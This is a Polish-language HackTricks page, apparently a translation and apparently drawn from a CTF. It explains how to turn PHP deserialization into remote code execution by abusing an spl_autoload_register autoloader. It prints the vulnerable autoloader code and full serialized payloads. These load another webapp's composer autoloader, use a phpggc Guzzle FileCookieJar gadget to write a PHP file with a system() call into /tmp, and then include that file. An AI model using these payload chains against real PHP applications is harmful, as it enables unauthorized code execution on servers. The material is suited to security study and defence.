PHP - Deserialization + Autoload Classes

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Najpierw powinieneś sprawdzić, czym są Autoloadowanie klas.

PHP deserializacja + spl_autoload_register + LFI/Gadget

Jesteśmy w sytuacji, gdzie znaleźliśmy deserializację PHP w aplikacji internetowej, ale brak biblioteki podatnej na gadżety wewnątrz phpggc. Jednak w tym samym kontenerze znajdowała się inna aplikacja internetowa z podatnymi bibliotekami. Celem było załadowanie ładowacza kompozytora innej aplikacji internetowej i wykorzystanie go do załadowania gadżetu, który wykorzysta tę bibliotekę z gadżetem z aplikacji podatnej na deserializację.

Kroki:

  • Znalazłeś deserializację, ale w obecnym kodzie aplikacji nie ma żadnego gadżetu

  • Możesz wykorzystać funkcję spl_autoload_register w następujący sposób, aby załadować dowolny lokalny plik z rozszerzeniem .php

  • W tym celu używasz deserializacji, gdzie nazwa klasy będzie znajdować się w zmiennej $name. Nie możesz używać "/" ani "." w nazwie klasy w obiekcie zserializowanym, ale kod zamienia podkreślenia ("_") na ukośniki ("/"). Na przykład nazwa klasy tmp_passwd zostanie przekształcona na /tmp/passwd.php, a kod spróbuje ją załadować. Przykładem gadżetu będzie: O:10:"tmp_passwd":0:{}

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

Jeśli masz przesyłanie plików i możesz przesłać plik z rozszerzeniem .php, możesz bezpośrednio wykorzystać tę funkcjonalność i uzyskać już RCE.

W moim przypadku nie miałem czegoś takiego, ale w tym samym kontenerze znajdowała się inna strona internetowa z biblioteką podatną na gadżet phpggc.

  • Aby załadować tę inną bibliotekę, najpierw musisz załadować ładowacz kompozytora tej innej aplikacji internetowej (ponieważ ładowacz bieżącej aplikacji nie będzie miał dostępu do bibliotek drugiej aplikacji). Znając ścieżkę aplikacji, możesz to bardzo łatwo osiągnąć za pomocą: O:28:"www_frontend_vendor_autoload":0:{} (W moim przypadku ładowacz kompozytora znajdował się w /www/frontend/vendor/autoload.php)

  • Teraz możesz załadować ładowacz innej aplikacji, więc teraz czas na wygenerowanie ładunku phpggc. W moim przypadku użyłem Guzzle/FW1, co pozwoliło mi zapisać dowolny plik w systemie plików.

  • UWAGA: Wygenerowany gadżet nie działał, aby zadziałał, zmodyfikowałem ten ładunek chain.php z phpggc i ustawiłem wszystkie atrybuty klas z prywatnych na publiczne. W przeciwnym razie po zdeserializowaniu ciągu znaków atrybuty utworzonych obiektów nie miały żadnych wartości.

  • Teraz mamy sposób na załadowanie ładowacza innej aplikacji i mamy działający ładunek phpggc, ale musimy to zrobić w TAKIM SAMYM ZAPYTANIU, aby ładowacz został załadowany podczas użycia gadżetu. W tym celu wysłałem zserializowany tablicowy obiekt z obiema aplikacjami, tak jak poniżej:

  • Możesz zobaczyć, jak najpierw ładowany jest ładowacz, a następnie ładunek

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • Teraz możemy utworzyć i zapisać plik, jednak użytkownik nie może zapisywać w żadnym folderze wewnątrz serwera sieciowego. Jak widać w ładunku, PHP wywołuje system z pewnym base64 i tworzy go w /tmp/a.php. Następnie możemy ponownie użyć pierwszego rodzaju ładunku, który użyliśmy jako LFI, aby załadować ładowacz kompozytora innego webapp do załadowania wygenerowanego pliku /tmp/a.php. Wystarczy dodać go do gadżetu deserializacji:

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

Podsumowanie payloadu

  • Załaduj autoloader kompozytora innego webappu w tym samym kontenerze

  • Załaduj gadżet phpggc, aby wykorzystać bibliotekę innego webappu (początkowy webapp podatny na deserializację nie miał żadnego gadżetu w swoich bibliotekach)

  • Gadżet utworzy plik z ładunkiem PHP w /tmp/a.php z złośliwymi poleceniami (użytkownik webappu nie może zapisywać w żadnym folderze żadnego webappu)

  • Ostatnia część naszego payloadu załaduje wygenerowany plik php, który wykona polecenia

Musiałem wywołać tę deserializację dwukrotnie. W moim teście, za pierwszym razem plik /tmp/a.php został utworzony, ale nie załadowany, a za drugim razem został poprawnie załadowany.

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated